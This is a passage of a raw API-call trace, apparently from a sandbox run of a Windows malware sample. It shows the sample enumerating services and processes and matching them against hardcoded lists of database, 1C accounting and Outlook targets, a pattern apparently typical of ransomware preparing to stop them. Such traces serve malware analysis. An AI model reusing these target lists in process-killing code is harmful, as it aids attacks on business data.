-1 [0096.568] lstrlenW (lpString="StateRepository") returned 15 [0096.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0096.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0096.568] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0096.568] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0096.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0096.568] lstrlenW (lpString="SysMain") returned 7 [0096.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0096.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0096.568] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0096.568] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0096.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0096.568] lstrlenW (lpString="SystemEventsBroker") returned 18 [0096.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0096.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0096.569] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0096.569] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0096.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0096.569] lstrlenW (lpString="Themes") returned 6 [0096.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0096.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0096.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0096.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0096.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0096.569] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0096.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0096.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0096.569] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0096.569] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0096.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0096.569] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0096.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0096.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0096.569] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0096.569] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0096.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0096.569] lstrlenW (lpString="TokenBroker") returned 11 [0096.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0096.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0096.569] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0096.569] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0096.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TokenBroker") returned -1 [0096.569] lstrlenW (lpString="TrkWks") returned 6 [0096.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0096.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0096.569] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0096.569] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0096.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0096.570] lstrlenW (lpString="UserManager") returned 11 [0096.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UserManager") returned -1 [0096.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UserManager") returned -1 [0096.570] lstrcmpiW (lpString1="sqlwriter", lpString2="UserManager") returned -1 [0096.570] lstrcmpiW (lpString1="mssqlserver", lpString2="UserManager") returned -1 [0096.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UserManager") returned -1 [0096.570] lstrlenW (lpString="VaultSvc") returned 8 [0096.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VaultSvc") returned -1 [0096.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VaultSvc") returned -1 [0096.570] lstrcmpiW (lpString1="sqlwriter", lpString2="VaultSvc") returned -1 [0096.570] lstrcmpiW (lpString1="mssqlserver", lpString2="VaultSvc") returned -1 [0096.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VaultSvc") returned -1 [0096.570] lstrlenW (lpString="Wcmsvc") returned 6 [0096.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Wcmsvc") returned -1 [0096.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Wcmsvc") returned -1 [0096.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Wcmsvc") returned -1 [0096.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Wcmsvc") returned -1 [0096.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Wcmsvc") returned -1 [0096.570] lstrlenW (lpString="WdiServiceHost") returned 14 [0096.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0096.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0096.570] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0096.570] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0096.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0096.570] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0096.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0096.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0096.570] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0096.570] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0096.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0096.570] lstrlenW (lpString="Winmgmt") returned 7 [0096.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0096.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0096.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0096.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0096.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0096.571] lstrlenW (lpString="WpnService") returned 10 [0096.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnService") returned -1 [0096.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnService") returned -1 [0096.571] lstrcmpiW (lpString1="sqlwriter", lpString2="WpnService") returned -1 [0096.571] lstrcmpiW (lpString1="mssqlserver", lpString2="WpnService") returned -1 [0096.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WpnService") returned -1 [0096.571] lstrlenW (lpString="wuauserv") returned 8 [0096.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0096.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0096.571] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0096.571] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0096.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0096.571] lstrlenW (lpString="CDPUserSvc_135e8") returned 16 [0096.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPUserSvc_135e8") returned 1 [0096.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPUserSvc_135e8") returned 1 [0096.571] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPUserSvc_135e8") returned 1 [0096.571] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPUserSvc_135e8") returned 1 [0096.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPUserSvc_135e8") returned 1 [0096.571] lstrlenW (lpString="OneSyncSvc_135e8") returned 16 [0096.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="OneSyncSvc_135e8") returned -1 [0096.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="OneSyncSvc_135e8") returned -1 [0096.571] lstrcmpiW (lpString1="sqlwriter", lpString2="OneSyncSvc_135e8") returned 1 [0096.571] lstrcmpiW (lpString1="mssqlserver", lpString2="OneSyncSvc_135e8") returned -1 [0096.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="OneSyncSvc_135e8") returned 1 [0096.571] lstrlenW (lpString="WpnUserService_135e8") returned 20 [0096.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnUserService_135e8") returned -1 [0096.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnUserService_135e8") returned -1 [0096.571] lstrcmpiW (lpString1="sqlwriter", lpString2="WpnUserService_135e8") returned -1 [0096.572] lstrcmpiW (lpString1="mssqlserver", lpString2="WpnUserService_135e8") returned -1 [0096.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WpnUserService_135e8") returned -1 [0096.572] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a17e0 | out: hHeap=0x4b0000) returned 1 [0096.572] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0096.589] Process32FirstW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0096.590] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0096.591] lstrlenW (lpString="System") returned 6 [0096.591] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0096.591] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0096.591] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0096.591] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0096.591] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0096.591] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0096.591] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0096.591] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0096.591] lstrlenW (lpString="smss.exe") returned 8 [0096.591] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0096.591] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0096.591] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0096.591] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0096.592] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0096.592] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0096.592] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0096.592] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.592] lstrlenW (lpString="csrss.exe") returned 9 [0096.592] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0096.592] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0096.592] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0096.592] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0096.593] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0096.593] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0096.593] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0096.593] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0096.593] lstrlenW (lpString="wininit.exe") returned 11 [0096.593] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0096.593] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0096.593] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0096.594] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0096.594] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0096.594] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0096.594] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0096.594] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.594] lstrlenW (lpString="csrss.exe") returned 9 [0096.594] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0096.594] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0096.594] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0096.594] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0096.594] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0096.594] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0096.594] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0096.594] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0096.595] lstrlenW (lpString="winlogon.exe") returned 12 [0096.595] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0096.595] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0096.595] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0096.595] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0096.595] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0096.595] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0096.595] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0096.595] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0096.596] lstrlenW (lpString="services.exe") returned 12 [0096.596] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0096.596] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0096.596] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0096.596] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0096.596] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0096.596] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0096.596] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0096.596] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0096.597] lstrlenW (lpString="lsass.exe") returned 9 [0096.597] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0096.597] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0096.597] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0096.597] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0096.597] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0096.597] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0096.597] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0096.597] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.597] lstrlenW (lpString="svchost.exe") returned 11 [0096.597] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0096.598] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0096.598] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0096.598] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0096.598] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0096.598] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0096.598] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0096.598] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0096.598] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0096.598] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1 [0096.598] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1 [0096.598] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1 [0096.598] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1 [0096.598] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1 [0096.598] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1 [0096.598] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1 [0096.598] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0096.599] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0096.599] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1 [0096.599] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1 [0096.599] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1 [0096.599] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1 [0096.599] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1 [0096.599] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1 [0096.599] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1 [0096.599] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.600] lstrlenW (lpString="svchost.exe") returned 11 [0096.600] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0096.600] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0096.600] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0096.600] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0096.600] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0096.600] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0096.600] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0096.600] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0096.601] lstrlenW (lpString="dwm.exe") returned 7 [0096.601] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0096.601] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.601] lstrlenW (lpString="svchost.exe") returned 11 [0096.601] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.602] lstrlenW (lpString="svchost.exe") returned 11 [0096.602] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.602] lstrlenW (lpString="svchost.exe") returned 11 [0096.602] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.603] lstrlenW (lpString="svchost.exe") returned 11 [0096.603] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.604] lstrlenW (lpString="svchost.exe") returned 11 [0096.604] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.604] lstrlenW (lpString="svchost.exe") returned 11 [0096.604] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.605] lstrlenW (lpString="svchost.exe") returned 11 [0096.605] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.605] lstrlenW (lpString="svchost.exe") returned 11 [0096.605] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.606] lstrlenW (lpString="svchost.exe") returned 11 [0096.606] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.606] lstrlenW (lpString="svchost.exe") returned 11 [0096.606] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0096.607] lstrlenW (lpString="spoolsv.exe") returned 11 [0096.607] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.608] lstrlenW (lpString="svchost.exe") returned 11 [0096.608] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0096.608] lstrlenW (lpString="audiodg.exe") returned 11 [0096.608] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0096.609] 